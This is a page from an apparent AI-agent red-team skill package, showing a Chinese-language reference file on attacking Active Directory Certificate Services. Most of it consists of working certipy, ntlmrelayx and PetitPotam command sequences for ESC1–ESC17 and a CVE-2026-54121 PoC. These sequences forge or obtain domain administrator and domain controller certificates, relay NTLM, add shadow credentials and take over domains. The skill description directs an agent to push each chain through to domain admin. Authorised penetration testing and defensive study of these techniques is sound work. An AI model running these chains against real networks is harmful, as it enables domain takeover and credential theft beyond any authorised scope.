pale-knight/redteam-skill / skills/ad-attack
ad-attack
VerifiedActive Directory exploitation after domain credentials exist: Kerberos (AS-REP/Kerberoast including cracking the ticket then using the account), delegation, NTLM coercion/relay, lateral movement, ACL abuse, ADCS ESC1-ESC17 and CVE paths, dMSA/BadSuccessor, Kerberos reflection, identity confusion, management-plane, domain trust, and domain persistence. Own the current AD chain through crack-and-use to DA, equivalent domain control, or the targeted host SYSTEM. Do not stop after requesting TGS. Host C2 belongs to /post. Operator chooses next modules.
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 6.3 KB |
| references/acl-abuse.md | markdown | 3.6 KB |
| references/adcs.md | markdown | 13.9 KB |
| references/auth-reflection.md | markdown | 4.5 KB |
| references/authentication-coercion-relay.md | markdown | 6.6 KB |
| references/dmsa.md | markdown | 6.1 KB |
| references/identity-confusion.md | markdown | 3.6 KB |
| references/kerberos-attacks.md | markdown | 2.9 KB |
| references/lateral-movement.md | markdown | 2.0 KB |
| references/management-plane.md | markdown | 2.1 KB |
references/adcs.md
View on GitHub# ADCS 证书攻击 (ESC1-ESC17 + CVE-based ADCS)
工具:certipy (Kali) / Certify.exe (Windows)
现代ADCS先做状态门控:
```
ESC1-14 → 主要由模板/CA/映射配置决定
ESC15 → CVE-2024-49019,Nov 2024补丁门控
ESC16 → CA全局Security Extension配置 + DC映射模式
ESC17 → Server Authentication primitive,需要后续服务
Certighost → CVE-2026-54121,2026-07补丁门控
```
不要把 `certipy find -vulnerable` 的一个编号直接等同于“已经可以DA”;按下面前置条件继续。
---
## 枚举
```
# Certipy(推荐,Kali)
certipy find -u jen -p 'pass' -dc-ip DC-IP -vulnerable
# 当前版本可标出ESC1-ESC17;同时看CA/模板/Enrollment Rights/EKU/SAN/安全扩展/Remarks
# Certify(Windows)
.\Certify.exe find /vulnerable
# BloodHound CE自动标ADCSESC*边
```
---
## ESC1(最常见:模板允许指定SAN)
条件:模板允许 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT(请求者可指定Subject Alternative Name)+ 低权限用户可enrollment。
```
# 请求DA证书
certipy req -u jen -p 'pass' -ca CORP-CA -template VulnTemplate \
-upn administrator@corp.com -dc-ip DC-IP
# 用证书认证拿TGT+hash
certipy auth -pfx administrator.pfx -dc-ip DC-IP
# → NT hash / TGT
```
## ESC2(模板允许Any Purpose)
同ESC1方式请求,证书可用于任何用途。
## ESC3(Certificate Request Agent + 另一个模板)
```
# 1. 用ESC3模板请求Agent证书
certipy req -u jen -p 'pass' -ca CORP-CA -template AgentTemplate
# 2. 用Agent证书代表DA请求另一个模板的证书
certipy req -u jen -p 'pass' -ca CORP-CA -template UserTemplate \
-on-behalf-of 'corp\administrator' -pfx agent.pfx
```
## ESC4(模板ACL可写)
条件:对模板有WriteDACL/WriteProperty → 改模板配置使其变成ESC1。
```
certipy template -u jen -p 'pass' -template VulnTemplate \
-save-old -dc-ip DC-IP
# 改模板使其允许SAN → 按ESC1打 → 改回去
```
## ESC5(PKI对象/CA主机控制)
ESC5不是单一模板flag,而是攻击者对PKI相关高价值对象/主机获得控制,例如:
```
CA服务器本地管理员/SYSTEM
CA私钥/备份权限
Enrollment Services / NTAuthCertificates / AIA / CDP等PKI对象的危险ACL
```
如果已经取得CA私钥PFX,可直接进入Golden Certificate/forge路径:
```
certipy forge -ca-pfx CORP-CA.pfx \
-upn administrator@corp.com \
-sid S-1-5-21-...-500 \
-crl 'ldap:///'
certipy auth -pfx administrator_forged.pfx -dc-ip DC-IP
```
没有CA/PKI对象控制时,不因为“环境有ADCS”就判ESC5。
## ESC6(CA允许SAN,即EDITF_ATTRIBUTESUBJECTALTNAME2)
```
# CA级别允许所有模板指定SAN → 任意模板都能像ESC1一样利用
certipy req -u jen -p 'pass' -ca CORP-CA -template User \
-upn administrator@corp.com
```
## ESC7(CA ACL可写:ManageCA/ManageCertificates)
```
# 有ManageCA → 启用ESC6的flag
certipy ca -u jen -p 'pass' -ca CORP-CA -enable-template SubCA -dc-ip DC-IP
# 有ManageCertificates → 审批被拒的证书请求
certipy ca -u jen -p 'pass' -ca CORP-CA -issue-request <requestID>
```
## ESC8(HTTP enrollment端点NTLM relay)
```
# 1. 发现HTTP enrollment
certipy find ... # 看 Web Enrollment 是否启用
# 2. Relay NTLM到enrollment端点
impacket-ntlmrelayx -t http://CA-IP/certsrv/certfnsh.asp \
-smb2support --adcs --template DomainController
# 3. 逼DC认证(PetitPotam/printerbug等)
python3 PetitPotam.py <relay-IP> <DC-IP>
# 4. 拿到DC证书 → 认证
certipy auth -pfx dc.pfx -dc-ip DC-IP
```
---
## 通用:证书→hash→域
```
# 拿到pfx后
certipy auth -pfx victim.pfx -dc-ip DC-IP
# 输出NT hash → PTH / DCSync / Golden Ticket
```
---
## ESC9 — No Security Extension (CT_FLAG_NO_SECURITY_EXTENSION)
条件:模板设置 msPKI-Enrollment-Flag 含 CT_FLAG_NO_SECURITY_EXTENSION → 证书中不嵌入 szOID_NTDS_CA_SECURITY_EXT,导致 StrongCertificateBindingEnforcement 无效。
```
# 攻击者有GenericWrite on User → 改userPrincipalName为管理员 → 用ESC9模板请求证书
certipy account -u 'attacker@corp.com' -p 'pass' -dc-ip DC-IP -user victim -upn administrator update
certipy req -u victim@corp.com -p 'victim-pass' -dc-ip DC-IP -target CA.corp.com -ca CORP-CA -template VulnTemplate
certipy account -u 'attacker@corp.com' -p 'pass' -dc-ip DC-IP -user victim -upn victim@corp.com update # 改回
certipy auth -pfx administrator.pfx -dc-ip DC-IP
```
## ESC10 — Weak Certificate Mapping
条件:注册表 CertificateMappingMethods 含 0x4 (UPN mapping) 或 StrongCertificateBindingEnforcement=0。
```
# 利用方式同ESC9但不需要CT_FLAG_NO_SECURITY_EXTENSION
# 关键:DC未强制强证书绑定
certipy account -u 'attacker@corp.com' -p 'pass' -dc-ip DC-IP -user victim -upn administrator update
certipy req -u victim@corp.com -p 'victim-pass' -dc-ip DC-IP -target CA.corp.com -ca CORP-CA -template User
certipy auth -pfx administrator.pfx -dc-ip DC-IP
```
## ESC11 — NTLM Relay to ICPR (RPC)
条件:CA未启用 IF_ENFORCEENCRYPTICERTREQUEST → ICPR接口接受未加密NTLM认证。
```
# 类似ESC8但走RPC而非HTTP
certipy relay -ca CA-IP -template DomainController
# 配合PetitPotam强制DC认证
python3 PetitPotam.py KALI-IP DC-IP
# → 拿到DC证书
```
## ESC12 — YubiHSM2特定本机场景
状态:**SPECIAL-CONTEXT**,不是普通远程模板配置错误。
条件:
```
CA私钥由YubiHSM2保护
+
已经在CA主机取得低权限shell
+
对应YubiHSM2/KSP软件栈存在可利用弱点
```
Certipy不能像ESC1/15那样直接检测和一键利用ESC12。发现CA使用YubiHSM2时记录HSM/KSP/驱动/固件版本,转入CA主机安全测试。
如果其他手段最终获得CA signing key PFX,后续可按CA完全控制处理:
```
certipy forge -ca-pfx CORP-CA.pfx \
-upn administrator@corp.com \
-sid S-1-5-21-...-500 \
-crl 'ldap:///'
```
不要把“发现YubiHSM2”直接报成ESC12可利用。
## ESC13 — Issuance Policy OID Group Link
条件:证书模板关联了发行策略OID,该OID链接到一个高权限组。
```
# 枚举
certipy find -u user -p pass -dc-ip DC-IP -vulnerable
# 找 msPKI-Certificate-Policy → 指向OID → 查OID的 msDS-OIDToGroupLink
# 利用:请求含该策略的证书 → 认证时自动加入链接的组
certipy req -u user -p pass -ca CORP-CA -template VulnTemplate
certipy auth -pfx user.pfx
# 认证后用户自动获得目标组权限
```
## ESC14 — Explicit Certificate Mapping
条件:用户对象的 altSecurityIdentities 属性可被篡改。
```
# 攻击者有GenericWrite on User
# 写入altSecurityIdentities指向自己的证书
# 之后用自己的证书以目标用户身份认证
```
---
## ESC15 — Application Policy Injection / EKUwu
CVE:**CVE-2024-49019**
状态:**PRE-PATCH / VERSION-GATED**。CA已安装2024年11月对应更新时,不进入直接利用。
条件:
```
Schema Version 1模板
+
Enrollee Supplies Subject = True
+
当前主体可Enroll
+
CA未修补CVE-2024-49019
```
### 枚举
```
certipy find -u attacker@corp.local -p 'Passw0rd!' -dc-ip DC-IP -vulnerable
```
关注:
```
Schema Version : 1
Enrollee Supplies Subject : True
User Enrollable Principals : 当前主体/所在组
Vulnerabilities : ESC15
Remarks : patch相关提示
```
### 路线A:注入Client Authentication
目标:V1 WebServer类模板本来只允许Server Authentication,通过CSR注入Client Authentication Application Policy。
```
certipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip DC-IP -target 'CA.corp.local' \
-ca 'CORP-CA' -template 'WebServer' \
-upn 'administrator@corp.local' \
-sid 'S-1-5-21-...-500' \
-application-policies 'Client Authentication'
```
成功输出重点:
```
Successfully requested certificate
Got certificate with UPN 'administrator@corp.local'
Certificate object SID is 'S-1-5-21-...-500'
Saving ... administrator.pfx
```
如果目标走Schannel/LDAPS:
```
certipy auth -pfx administrator.pfx -dc-ip DC-IP -ldap-shell
```
成功:
```
Authenticated ... as CORP\Administrator
```
### 路线B:注入Certificate Request Agent
先拿Agent证书:
```
certipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip DC-IP -target 'CA.corp.local' \
-ca 'CORP-CA' -template 'WebServer' \
-application-policies 'Certificate Request Agent'
```
得到 `attacker.pfx` 后,代表目标申请:
```
certipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip DC-IP -target 'CA.corp.local' \
-ca 'CORP-CA' -template 'User' \
-pfx attacker.pfx \
-on-behalf-of 'CORP\Administrator'
```
再认证:
```
certipy auth -pfx administrator.pfx -dc-ip DC-IP
```
失败排查:
```
CA已修补 → 直接ESC15关闭
模板不是Schema V1 → 不符合ESC15
不能Supply Subject → 目标身份注入条件不足
无Enroll → 不能申请
```
---
## ESC16 — CA全局禁用SID Security Extension
状态:**CONFIGURATION-GATED**。
核心:CA的 `DisableExtensionList` 包含:
```
1.3.6.1.4.1.311.25.2 # szOID_NTDS_CA_SECURITY_EXT
```
结果是该CA签发的证书全局缺少SID Security Extension。
### 枚举
```
certipy find -u attacker@corp.local -p 'Passw0rd!' -dc-ip DC-IP -vulnerable
```
重点:
```
Disabled Extensions : 1.3.6.1.4.1.311.25.2
Vulnerabilities : ESC16
```
### 路线A:UPN manipulation
要求:对一个可认证victim账户有GenericWrite,且DC处于允许该映射链的模式。
先保存原UPN:
```
certipy account \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip DC-IP -user victim read
```
改UPN为目标的sAMAccountName:
```
certipy account \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip DC-IP -upn administrator \
-user victim update
```
如果没有victim自身密码,但有GenericWrite,可用Shadow Credentials临时取得其认证材料:
```
certipy shadow \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip DC-IP -account victim auto
```
得到 `victim.ccache` 后:
```
export KRB5CCNAME=victim.ccache
certipy req \
-k -dc-ip DC-IP \
-target CA.corp.local -ca CORP-CA \
-template User
```
成功证书应体现:
```
Got certificate with UPN 'administrator@corp.local'
Certificate has no object SID
```
**立即恢复UPN:**
```
certipy account \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip DC-IP -upn 'victim@corp.local' \
-user victim update
```
然后认证:
```
certipy auth \
-dc-ip DC-IP \
-pfx administrator.pfx \
-username administrator \
-domain corp.local
```
### 路线B:ESC16 + ESC6
如果同一CA还允许请求属性注入SAN,可结合目标UPN/SID URL。该链和DC强绑定模式相关,优先按当前Certipy `find` 的Remarks和官方ESC6/16逻辑判断,不因为“ESC16存在”就直接请求DA证书。
---
## ESC17 — Enrollee-Supplied Subject for Server Authentication
状态:**CHAIN-ONLY / SERVICE-GATED**。
条件:
```
Enrollee Supplies Subject = True
Server Authentication / Any Purpose / 等可做服务器TLS身份的用途
当前主体可Enroll
Manager Approval = False
Authorized Signatures = 0
```
### 枚举
```
certipy find -u attacker@corp.local -p 'Passw0rd!' -dc-ip DC-IP -vulnerable
```
### 请求目标服务器证书
例如冒充WSUS:
```
certipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip DC-IP -target 'CA.corp.local' \
-ca 'CORP-CA' -template 'VulnTemplate' \
-dns 'wsus.corp.local'
```
成功:
```
Got certificate with DNS Host Name 'wsus.corp.local'
Saving ... wsus.pfx
```
### 重要判断
```
拿到wsus.pfx ≠ 拿到Administrator/DA
```
还必须存在实际消费该Server Authentication身份的服务:
```
WSUS
内部TLS管理服务
软件分发/部署系统
其他信任企业PKI服务器身份的协议
```
没有可利用service consumer时,只记录ESC17证书身份冒充primitive,不升级为“已提权”。
---
# CVE-based ADCS
## Certighost — CVE-2026-54121
状态:**PRE-PATCH / VERSION-GATED**。
公开PoC:`aniqfakhrul/CVE-2026-54121`
2026年7月更新后的PoC支持CA本身运行在DC上,并处理ESC6/SAN相关兼容情况。
### 前置
```
Enterprise CA可访问
目标CA未安装CVE-2026-54121对应2026-07修复
攻击机能监听TCP/389和445
低权限域凭据
```
PoC默认会创建一个类似 `GHOSTABCDEFGH$` 的computer account(也可通过PoC参数复用已有机器账户)。
### 安装
```
git clone https://github.com/aniqfakhrul/CVE-2026-54121.git
cd CVE-2026-54121
sudo pip install --break-system-packages \
git+https://github.com/fortra/impacket.git \
cryptography pyasn1 asn1crypto pycryptodome dnspython
```
### 执行
必须root,因为PoC监听389/445:
```
sudo python3 certighost.py \
-d corp.local \
-u jen \
-p 'Password123!' \
--dc-ip DC-IP
```
成功输出/产物:
```
*.pfx
*.ccache
```
PoC内部完成:
```
创建/复用机器账户
→ rogue SMB/LSA + LDAP
→ CA回连
→ 将目录查询响应替换成目标DC身份
→ CA签发目标DC证书
→ PKINIT
→ 保存PFX + CCACHE,并尝试取得NT hash
```
验证:
```
ls -l *.pfx *.ccache
export KRB5CCNAME=<generated.ccache>
klist
```
### 失败判断
```
CA已打2026-07补丁 → 关闭该CVE路径
389/445无法监听/冲突 → PoC无法建立rogue服务
目标不是Enterprise CA → 重新确认ADCS结构
机器账户创建受限 → 考虑PoC支持的已有computer account参数,不能直接判漏洞不存在
```
### 清理
PoC可能创建 `GHOSTXXXXXXXX$` 机器账户。执行前记录PoC输出中的实际账户名;靶场测试结束后删除/恢复本次创建的计算机对象。不要清理不确定是否属于本次测试的现有机器账户。
---
## 现代ADCS决策速查
```
certipy find
↓
ESC15?
→ 先查Nov 2024补丁 → 未修补才利用
ESC16?
→ 看Disabled Extensions + DC mapping + 可写victim/ESC6组合
ESC17?
→ 先找WSUS/其他Server Auth消费者 → 再申请服务器证书
Enterprise CA + 2026-07未修补?
→ Certighost PoC
```
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